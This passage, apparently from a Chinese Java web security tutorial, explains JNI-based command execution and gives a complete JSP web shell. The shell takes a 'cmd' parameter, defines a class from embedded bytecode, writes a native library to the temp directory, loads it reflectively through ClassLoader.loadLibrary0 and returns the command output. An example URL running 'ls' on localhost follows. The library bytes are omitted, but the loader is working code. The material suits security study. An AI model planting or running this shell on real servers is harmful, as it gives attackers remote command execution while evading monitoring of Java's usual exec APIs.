1. JNI攻击
Java语言是基于C语言实现的,Java底层的很多API都是通过JNI(Java Native Interface)来实现的。通过JNI接口C/C++和Java可以互相调用(存在跨平台问题)。Java可以通过JNI调用来弥补语言自身的不足(代码安全性、内存操作等)。JNI是一种比较特殊的方式,如果能够利用效果等同于绕过Java 命令执行API。
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.File" %><%@ page import="java.io.FileOutputStream" %><%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Method" %><%-- load_library_cmd_all.jsp?cmd=ls --%><%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 --%><%!private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";/*** JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,* 只有一个public static native String exec(String cmd);的方法*/private static final byte[] COMMAND_CLASS_BYTES = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11};/*** 获取JNI链接库目录* @return 返回缓存JNI的临时目录*/File getTempJNILibFile() {File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");if (!jniDir.exists()) {jniDir.mkdir();}String filename;if (isWin()) {filename = "cmd.dll";} else {if (isMac()) {filename = "libcmd.lib";} else {filename = "libcmd.so";}}return new File(jniDir, filename);}boolean isWin() {return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));}boolean isWin32() {return "32".equals(System.getProperty("sun.arch.data.model"));}boolean isMac() {return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));}/*** 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,* 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。* @param str* @return*/byte[] base64Decode(String str) {try {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (ClassNotFoundException e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}} catch (Exception e) {return null;}}/*** 写JNI链接库文件* @param base64 JNI动态库Base64* @return 返回是否写入成功*/void writeJNILibFile(String base64) throws IOException {if (base64 != null) {File jniFile = getTempJNILibFile();if (!jniFile.exists()) {byte[] bytes = base64Decode(base64);if (bytes != null) {FileOutputStream fos = new FileOutputStream(jniFile);fos.write(bytes);fos.flush();fos.close();}}}}%><%String cmd = request.getParameter("cmd");String jniBytes = request.getParameter("jni");String COMMAND_JNI_FILE_BYTES;if (isWin()) {if (isWin32()) {// windows 32COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";} else {// windows 64COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";}} else {if (isMac()) {// macCOMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";} else {// centos 7 64COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";}}// JNI路径File jniFile = getTempJNILibFile();ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");if (loader == null) {loader = new ClassLoader(this.getClass().getClassLoader()) {@Overrideprotected Class<?> findClass(String name) throws ClassNotFoundException {try {return super.findClass(name);} catch (ClassNotFoundException e) {return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);}}};writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录application.setAttribute("__LOADER__", loader);}try {// load命令执行类Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");Object loadLib = application.getAttribute("__LOAD_LIB__");if (loadLib == null || !((Boolean) loadLib)) {Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);loadLibrary0Method.setAccessible(true);loadLibrary0Method.invoke(loader, commandClass, jniFile);application.setAttribute("__LOAD_LIB__", true);}String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);out.println("<pre>");out.println(content);out.println("</pre>");} catch (Exception e) {out.println(e.toString());throw e;}%>
访问:http://localhost:8000/modules/jni/loadlibrary.jsp?cmd=ls,如下图:
